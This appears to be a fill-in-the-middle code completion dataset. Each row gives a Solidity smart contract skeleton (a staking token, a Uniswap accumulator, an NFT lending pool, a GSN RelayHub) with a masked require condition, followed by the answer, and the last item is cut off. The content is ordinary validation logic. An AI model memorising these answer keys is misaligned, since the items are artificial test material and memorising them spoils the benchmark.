event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
}
function deplete(uint _amount) public onlyOwner returns(bool success){
}
function contribute() payable public {
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| hasStaked[msg.sender]==false,"Staked WALY balance must be zero" | 432,209 | hasStaked[msg.sender]==false |
null | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
require(<FILL_ME>)
require(balance[address(this)] >= bonus);
require(burnPeriod == true, "can only be done during burn period");
balance[address(this)]-= bonus;
balance[from]+= bonus;
_transfer(address(this), from, bonus *(10**18));
return this.onERC1155Received.selector;
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
}
function deplete(uint _amount) public onlyOwner returns(bool success){
}
function contribute() payable public {
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| (balance[address(this)]-lockedBalance[address(this)])>=bonus | 432,209 | (balance[address(this)]-lockedBalance[address(this)])>=bonus |
null | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
require((balance[address(this)] - lockedBalance[address(this)]) >= bonus);
require(<FILL_ME>)
require(burnPeriod == true, "can only be done during burn period");
balance[address(this)]-= bonus;
balance[from]+= bonus;
_transfer(address(this), from, bonus *(10**18));
return this.onERC1155Received.selector;
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
}
function deplete(uint _amount) public onlyOwner returns(bool success){
}
function contribute() payable public {
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| balance[address(this)]>=bonus | 432,209 | balance[address(this)]>=bonus |
"You cannot burn this many WALY tokens" | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
require(<FILL_ME>)
require(burnPeriod == true, "You can only burn during authorized times, check DApp");
balance[msg.sender]-= amount;
_burn(msg.sender, amount *(10**18));
emit userBurn(msg.sender, amount, block.timestamp);
return true;
}
function deplete(uint _amount) public onlyOwner returns(bool success){
}
function contribute() payable public {
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| balance[msg.sender]>=amount,"You cannot burn this many WALY tokens" | 432,209 | balance[msg.sender]>=amount |
"You cannot burn locked funds" | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
}
function deplete(uint _amount) public onlyOwner returns(bool success){
require(<FILL_ME>)
balance[address(this)]-=_amount;
_burn(address(this), _amount *(10**18));
emit purged(msg.sender, _amount, block.timestamp);
return true;
}
function contribute() payable public {
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| (balance[address(this)]-lockedBalance[address(this)])>=_amount,"You cannot burn locked funds" | 432,209 | (balance[address(this)]-lockedBalance[address(this)])>=_amount |
"Contract empty, cannot contribute" | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
event priceSet(address operator, uint256 prevPrice, uint256 newPrice, uint256 date);
event purged(address operator, uint256 amount, uint256 date); //owner burns token supply
constructor() ERC20("WalleBytes", "WALY") {
}
//recevies ERC1155
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4)
{
}
function setPrice(uint256 _price) public onlyOwner returns(bool success){
}
function setOwner(address _owner) public onlyOwner returns(bool success){
}
function teamWallet(address _operationWallet) public onlyOwner returns(bool success){
}
function turnOnBurn(bool _state) public onlyOwner returns(bool success){
}
function burn(uint256 amount) public returns(bool success){
}
function deplete(uint _amount) public onlyOwner returns(bool success){
}
function contribute() payable public {
require(msg.value >= price);
require(<FILL_ME>)
rewards(msg.sender);
}
function rewards(address _user) private {
}
function stake(uint _amount, uint _time) public hasNoStake returns(bool success){
}
function unstake(uint _amount) public returns(bool success) {
}
function _unstake(uint _amount) private {
}
//Check Balances
function userBalance() public view returns(uint){
}
//tokens in contract
function contractWalleBalance() public view returns (uint){
}
//Locked contract tokens
function totalLocked() public view returns (uint){
}
function purpleLister() public view returns(bool){
}
}
| (balance[address(this)]-lockedBalance[address(this)])>=reward,"Contract empty, cannot contribute" | 432,209 | (balance[address(this)]-lockedBalance[address(this)])>=reward |
"ManagedUniswapV2LiquidityAccumulator: MISSING_ROLE" | //SPDX-License-Identifier: MIT
pragma solidity =0.8.13;
import "@adrastia-oracle/adrastia-core/contracts/accumulators/proto/uniswap/UniswapV2LiquidityAccumulator.sol";
import "@openzeppelin-v4/contracts/access/AccessControlEnumerable.sol";
import "../../../access/Roles.sol";
contract ManagedUniswapV2LiquidityAccumulator is AccessControlEnumerable, UniswapV2LiquidityAccumulator {
constructor(
address uniswapFactory_,
bytes32 initCodeHash_,
address quoteToken_,
uint256 updateTheshold_,
uint256 minUpdateDelay_,
uint256 maxUpdateDelay_
)
UniswapV2LiquidityAccumulator(
uniswapFactory_,
initCodeHash_,
quoteToken_,
updateTheshold_,
minUpdateDelay_,
maxUpdateDelay_
)
{
}
/**
* @notice Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
require(<FILL_ME>)
}
_;
}
function canUpdate(bytes memory data) public view virtual override returns (bool) {
}
function update(bytes memory data) public virtual override onlyRoleOrOpenRole(Roles.ORACLE_UPDATER) returns (bool) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, LiquidityAccumulator)
returns (bool)
{
}
function initializeRoles() internal virtual {
}
}
| hasRole(role,msg.sender),"ManagedUniswapV2LiquidityAccumulator: MISSING_ROLE" | 432,255 | hasRole(role,msg.sender) |
"LiquidPool: INVALID_PROOF" | // SPDX-License-Identifier: WISE
pragma solidity =0.8.17;
// Interfaces
import "./IChainLink.sol";
// Inheritance Contacts
import "./PoolBase.sol";
import "./PoolShareToken.sol";
import "./LiquidTransfer.sol";
contract PoolHelper is PoolBase, PoolShareToken, LiquidTransfer {
/**
* @dev Pure function that calculates how many borrow shares a specified amount of tokens are worth
* Given the current number of shares and tokens in the pool.
*/
function _calculateDepositShares(
uint256 _amount,
uint256 _currentPoolTokens,
uint256 _currentPoolShares
)
internal
pure
returns (uint256)
{
}
/**
* @dev calculates the sum of tokenised and internal shares
*
*/
function getCurrentPoolShares()
public
view
returns (uint256)
{
}
/**
* @dev Function to calculate how many tokens a specified amount of deposits shares is worth
* Considers both internal and token shares in this calculation.
*/
function calculateWithdrawAmount(
uint256 _shares
)
public
view
returns (uint256)
{
}
/**
* @dev Calculates the usage of the pool depending on the totalPool amount of token
* inside the pool compared to the pseudoTotal amount
*/
function _updateUtilisation()
internal
{
}
/**
* @dev Calculates new markovMean (recursive formula)
*/
function _newMarkovMean(
uint256 _amount
)
internal
{
}
/**
* @dev sets and calculates the new borrow rate
*/
function _newBorrowRate()
internal
{
}
/**
* @dev checking time threshold for scaling algorithm. Time between to iterations >= 3 hours
*/
function _aboveThreshold()
internal
view
returns (bool)
{
}
/**
* @dev increases the pseudo total amounts for loaned and deposited token
* interest generated is the same for both pools. borrower have to pay back the
* new interest amount and lender get this same amount as rewards
*/
function _updatePseudoTotalAmounts()
internal
{
}
/**
* @dev function that tries to maximise totalDepositShares of the pool. Reacting to negative and positive
* feedback by changing the pole of the pool. Method similar to one parameter monte carlo methods
*/
function _scalingAlgorithm()
internal
{
}
function _saveUp(
uint256 _totalShares
)
internal
{
}
/**
* @dev sets the new max value in shares and saves the corresponding pole.
*/
function _newMaxPoolShares(
uint256 _amount
)
internal
{
}
/**
* @dev returns bool to determine if pole needs to be reset to last best value.
*/
function _poleOutcome(
uint256 _shareValue
)
internal
view
returns (bool)
{
}
/**
* @dev resets pole to old best value when system evolves into too bad state.
* sets current totalDepositShares amount to new maxPoolShares to exclude eternal loops and that
* inorganic peaks do not set maxPoolShares forever
*/
function _resetPole(
uint256 _value
)
internal
{
}
/**
* @dev reverts the flag for stepping direction from scaling algorithm
*/
function _revertDirectionSteppingState()
internal
{
}
/**
* @dev stepping function decreasing the pole depending on the time past in the last
* time interval. Checks if current pole undergoes the min value. If this is the case
* sets current value to minimal value
*/
function _decreasePole()
internal
{
}
/**
* @dev Stepping function increasing the pole
* depending on the time past in the last time interval.
* Checks if current pole is bigger than max value.
*/
function _increasePole()
internal
{
}
/**
* @dev Does a revert stepping and swaps stepping state in opposite flag
*/
function _reversedChangingPole()
internal
{
}
/**
* @dev Increasing or decresing pole depending on flag value.
*/
function _changingPole()
internal
{
}
/**
* @dev Function combining all possible stepping scenarios.
* Depending how share values has changed compared to last time
*/
function _updatePole(
uint256 _shareValues
)
internal
{
}
/**
* @dev converts token amount to borrow share amount
*/
function getBorrowShareAmount(
uint256 _numTokensForLoan
)
public
view
returns (uint256)
{
}
/**
* @dev Math to convert borrow shares to tokens
*/
function getTokensFromBorrowShares(
uint256 _numBorrowShares
)
public
view
returns (uint256)
{
}
/**
* @dev Adjust statevariables like shares and calls _deleteLoanData
* to account for the fact that a loan has ended
*/
function _endLoan(
uint256 _borrowShares,
address _tokenOwner,
uint256 _nftTokenId,
address _nftAddress
)
internal
{
}
/**
* @dev Calculate what we expect a loan's future value to be using our markovMean as the average interest rate
* For more information look up markov chains
*/
function predictFutureLoanValue(
uint256 _tokenValue
)
public
view
returns (uint256)
{
}
/**
* @dev Compute hashes to verify merkle proof for input price
*/
function _verifyMerkleProof(
bytes32[] memory _proof,
bytes32 _root,
bytes32 _leaf
)
internal
pure
returns (bool)
{
}
/**
* @dev Verifies claimed price of an NFT through merkleProof
*/
function _checkCollateralValue(
address _nftAddress,
uint256 _nftTokenId,
uint256 _merkleIndex,
uint256 _merklePrice,
bytes32[] memory _merkleProof
)
internal
view
returns (bool)
{
}
/**
* @dev Reads merkle root from the router
* based on specific collection address
*/
function _getMerkleRoot(
address _nftAddress
)
internal
view
returns (bytes32)
{
}
/**
* @dev Calculates maximum amount to borrow based on collateral factor and
* merkleprice in ETH
*/
function getMaximumBorrow(
uint256 _merklePrice
)
public
view
returns (uint256)
{
}
/**
* @dev Determines if duration since last payment exceeds allowed timeframe
*/
function missedDeadline(
address _nftAddress,
uint256 _nftTokenId
)
public
view
returns (bool)
{
}
/**
* @dev Removes any token discrepancies
* or if tokens accidentally sent to pool.
*/
function _cleanUp()
internal
{
}
/**
* @dev Calculates the current NFT auction price from merkle data and checks for proof.
*/
function _getCurrentAuctionPrice(
address _nftAddress,
uint256 _nftTokenId,
uint256 _merkleIndex,
uint256 _merklePrice,
bytes32[] calldata _merkleProof
)
internal
view
returns (uint256)
{
require(<FILL_ME>)
if (missedDeadline(_nftAddress, _nftTokenId) == false) {
return merklePriceInPoolToken(
_merklePrice
);
}
return _dutchAuctionPrice(
getLastPaidTime(
_nftAddress,
_nftTokenId
),
merklePriceInPoolToken(
_merklePrice
)
);
}
/**
* @dev Returns the current auction price of an NFT depending on the time and current merkle price
*/
function _dutchAuctionPrice(
uint256 _lastPaidTime,
uint256 _merklePrice
)
internal
view
returns (uint256)
{
}
/**
* @dev Calculates current percentage from the merkle price of the NFT.
* Decreasement is a linear function of time
* and has the minimum of 50% after 42 hours.
* Takes lastPaidTime plus TIME_BETWEEN_PAYMENTS as starting value
*/
function _getCurrentPercentage(
uint256 _lastPaidTime
)
internal
view
returns (uint256)
{
}
/**
* @dev Helper function that updates necessary parts
* of the mapping to struct of a loan for a user
*/
function _updateLoanBorrowMore(
address _nftAddress,
uint256 _nftTokenId,
uint256 _additionalShares,
uint256 _additionalTokens
)
internal
{
}
/**
* @dev Deals with state variables in case of badDebt occurring
* during liquidation
*/
function _checkBadDebt(
uint256 _auctionPrice,
uint256 _openBorrowAmount
)
internal
{
}
/**
* @dev Helper function that updates the mapping to struct of a loan for a user.
* Since a few operations happen here, this is a useful obfuscation for readability and reuse.
*/
function _updateLoanBorrow(
address _nftAddress,
uint256 _nftTokenId,
address _nftBorrower,
uint256 _newBorrowShares,
uint256 _newPrincipalTokens
)
internal
{
}
/**
* @dev Updates variables in the loanstruct during paybackfunds
*/
function _updateLoanPayback(
address _nftAddress,
uint256 _nftTokenId,
uint256 _borrowSharesToDestroy,
uint256 _principalPayoff
)
internal
{
}
/**
* Converts merkle price of NFTs
* into corresponding pool token amount
*/
function merklePriceInPoolToken(
uint256 _merklePriceETH
)
public
view
returns (uint256)
{
}
/**
* @dev Check if chainLink feed was
* updated within expected timeframe
*/
function chainLinkIsDead(
address _feed
)
public
view
returns (bool)
{
}
}
| _checkCollateralValue(_nftAddress,_nftTokenId,_merkleIndex,_merklePrice,_merkleProof),"LiquidPool: INVALID_PROOF" | 432,534 | _checkCollateralValue(_nftAddress,_nftTokenId,_merkleIndex,_merklePrice,_merkleProof) |
"target is not a valid IPaymaster" | pragma solidity ^0.8.0;
pragma abicoder v2;
/* solhint-disable avoid-low-level-calls */
/* solhint-disable no-inline-assembly */
/* solhint-disable not-rely-on-time */
/* solhint-disable avoid-tx-origin */
/* solhint-disable bracket-align */
// SPDX-License-Identifier: GPL-3.0-only
import "./utils/MinLibBytes.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./utils/GsnUtils.sol";
import "./utils/GsnEip712Library.sol";
import "./utils/RelayHubValidator.sol";
import "./utils/GsnTypes.sol";
import "./interfaces/IRelayHub.sol";
import "./interfaces/IPaymaster.sol";
import "./forwarder/IForwarder.sol";
import "./interfaces/IStakeManager.sol";
import "./interfaces/IRelayRegistrar.sol";
import "./interfaces/IStakeManager.sol";
/**
* @title The RelayHub Implementation
* @notice This contract implements the `IRelayHub` interface for the EVM-compatible networks.
*/
contract RelayHub is IRelayHub, Ownable, ERC165 {
using ERC165Checker for address;
using Address for address;
address private constant DRY_RUN_ADDRESS = 0x0000000000000000000000000000000000000000;
/// @inheritdoc IRelayHub
function versionHub() override virtual public pure returns (string memory){
}
IStakeManager internal immutable stakeManager;
address internal immutable penalizer;
address internal immutable batchGateway;
address internal immutable relayRegistrar;
RelayHubConfig internal config;
/// @inheritdoc IRelayHub
function getConfiguration() public override view returns (RelayHubConfig memory) {
}
/// @inheritdoc IRelayHub
function setConfiguration(RelayHubConfig memory _config) public override onlyOwner {
}
// maps ERC-20 token address to a minimum stake for it
mapping(IERC20 => uint256) internal minimumStakePerToken;
/// @inheritdoc IRelayHub
function setMinimumStakes(IERC20[] memory token, uint256[] memory minimumStake) public override onlyOwner {
}
// maps relay worker's address to its manager's address
mapping(address => address) internal workerToManager;
// maps relay managers to the number of their workers
mapping(address => uint256) internal workerCount;
mapping(address => uint256) internal balances;
uint256 internal immutable creationBlock;
uint256 internal deprecationTime = type(uint256).max;
constructor (
IStakeManager _stakeManager,
address _penalizer,
address _batchGateway,
address _relayRegistrar,
RelayHubConfig memory _config
) {
}
/// @inheritdoc IRelayHub
function getCreationBlock() external override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function getDeprecationTime() external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getStakeManager() external override view returns (IStakeManager) {
}
/// @inheritdoc IRelayHub
function getPenalizer() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getBatchGateway() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getRelayRegistrar() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getMinimumStakePerToken(IERC20 token) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getWorkerManager(address worker) external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getWorkerCount(address manager) external override view returns (uint256) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
}
/// @inheritdoc IRelayHub
function onRelayServerRegistered(address relayManager) external override {
}
/// @inheritdoc IRelayHub
function addRelayWorkers(address[] calldata newRelayWorkers) external override {
}
/// @inheritdoc IRelayHub
function depositFor(address target) public virtual override payable {
require(<FILL_ME>)
uint256 amount = msg.value;
balances[target] = balances[target] + amount;
emit Deposited(target, msg.sender, amount);
}
/// @inheritdoc IRelayHub
function balanceOf(address target) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function withdraw(address payable dest, uint256 amount) public override {
}
/// @inheritdoc IRelayHub
function withdrawMultiple(address payable[] memory dest, uint256[] memory amount) public override {
}
function verifyGasAndDataLimits(
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
uint256 initialGasLeft
)
private
view
returns (IPaymaster.GasAndDataLimits memory gasAndDataLimits, uint256 maxPossibleGas) {
}
struct RelayCallData {
bool success;
bytes4 functionSelector;
uint256 initialGasLeft;
bytes recipientContext;
bytes relayedCallReturnValue;
IPaymaster.GasAndDataLimits gasAndDataLimits;
RelayCallStatus status;
uint256 innerGasUsed;
uint256 maxPossibleGas;
uint256 innerGasLimit;
uint256 gasBeforeInner;
uint256 gasUsed;
uint256 devCharge;
bytes retData;
address relayManager;
bytes32 relayRequestId;
uint256 tmpInitialGas;
bytes relayCallStatus;
}
/// @inheritdoc IRelayHub
function relayCall(
string calldata domainSeparatorName,
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData
)
external
override
returns (
bool paymasterAccepted,
uint256 charge,
IRelayHub.RelayCallStatus status,
bytes memory returnValue)
{
}
struct InnerRelayCallData {
uint256 initialGasLeft;
uint256 gasUsedToCallInner;
uint256 balanceBefore;
bytes32 preReturnValue;
bool relayedCallSuccess;
bytes relayedCallReturnValue;
bytes recipientContext;
bytes data;
bool rejectOnRecipientRevert;
}
/**
* @notice This method can only by called by this `RelayHub`.
* It wraps the execution of the `RelayRequest` in a revertable frame context.
*/
function innerRelayCall(
string calldata domainSeparatorName,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
IPaymaster.GasAndDataLimits calldata gasAndDataLimits,
uint256 totalInitialGas,
uint256 maxPossibleGas
)
external
returns (RelayCallStatus, bytes memory)
{
}
/**
* @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data)
*/
function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure {
}
/// @inheritdoc IRelayHub
function calculateDevCharge(uint256 charge) public override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) public override virtual view returns (uint256) {
}
/// @inheritdoc IRelayHub
function verifyRelayManagerStaked(address relayManager) public override view {
}
/// @inheritdoc IRelayHub
function deprecateHub(uint256 _deprecationTime) public override onlyOwner {
}
/// @inheritdoc IRelayHub
function isDeprecated() public override view returns (bool) {
}
/// @notice Prevents any address other than the `Penalizer` from calling this method.
modifier penalizerOnly () {
}
/// @inheritdoc IRelayHub
function penalize(address relayWorker, address payable beneficiary) external override penalizerOnly {
}
/// @inheritdoc IRelayHub
function isRelayEscheatable(address relayManager) public view override returns (bool){
}
/// @inheritdoc IRelayHub
function escheatAbandonedRelayBalance(address relayManager) external override onlyOwner {
}
/// @inheritdoc IRelayHub
function aggregateGasleft() public override virtual view returns (uint256){
}
}
| target.supportsInterface(type(IPaymaster).interfaceId),"target is not a valid IPaymaster" | 432,645 | target.supportsInterface(type(IPaymaster).interfaceId) |
"hub deprecated" | pragma solidity ^0.8.0;
pragma abicoder v2;
/* solhint-disable avoid-low-level-calls */
/* solhint-disable no-inline-assembly */
/* solhint-disable not-rely-on-time */
/* solhint-disable avoid-tx-origin */
/* solhint-disable bracket-align */
// SPDX-License-Identifier: GPL-3.0-only
import "./utils/MinLibBytes.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./utils/GsnUtils.sol";
import "./utils/GsnEip712Library.sol";
import "./utils/RelayHubValidator.sol";
import "./utils/GsnTypes.sol";
import "./interfaces/IRelayHub.sol";
import "./interfaces/IPaymaster.sol";
import "./forwarder/IForwarder.sol";
import "./interfaces/IStakeManager.sol";
import "./interfaces/IRelayRegistrar.sol";
import "./interfaces/IStakeManager.sol";
/**
* @title The RelayHub Implementation
* @notice This contract implements the `IRelayHub` interface for the EVM-compatible networks.
*/
contract RelayHub is IRelayHub, Ownable, ERC165 {
using ERC165Checker for address;
using Address for address;
address private constant DRY_RUN_ADDRESS = 0x0000000000000000000000000000000000000000;
/// @inheritdoc IRelayHub
function versionHub() override virtual public pure returns (string memory){
}
IStakeManager internal immutable stakeManager;
address internal immutable penalizer;
address internal immutable batchGateway;
address internal immutable relayRegistrar;
RelayHubConfig internal config;
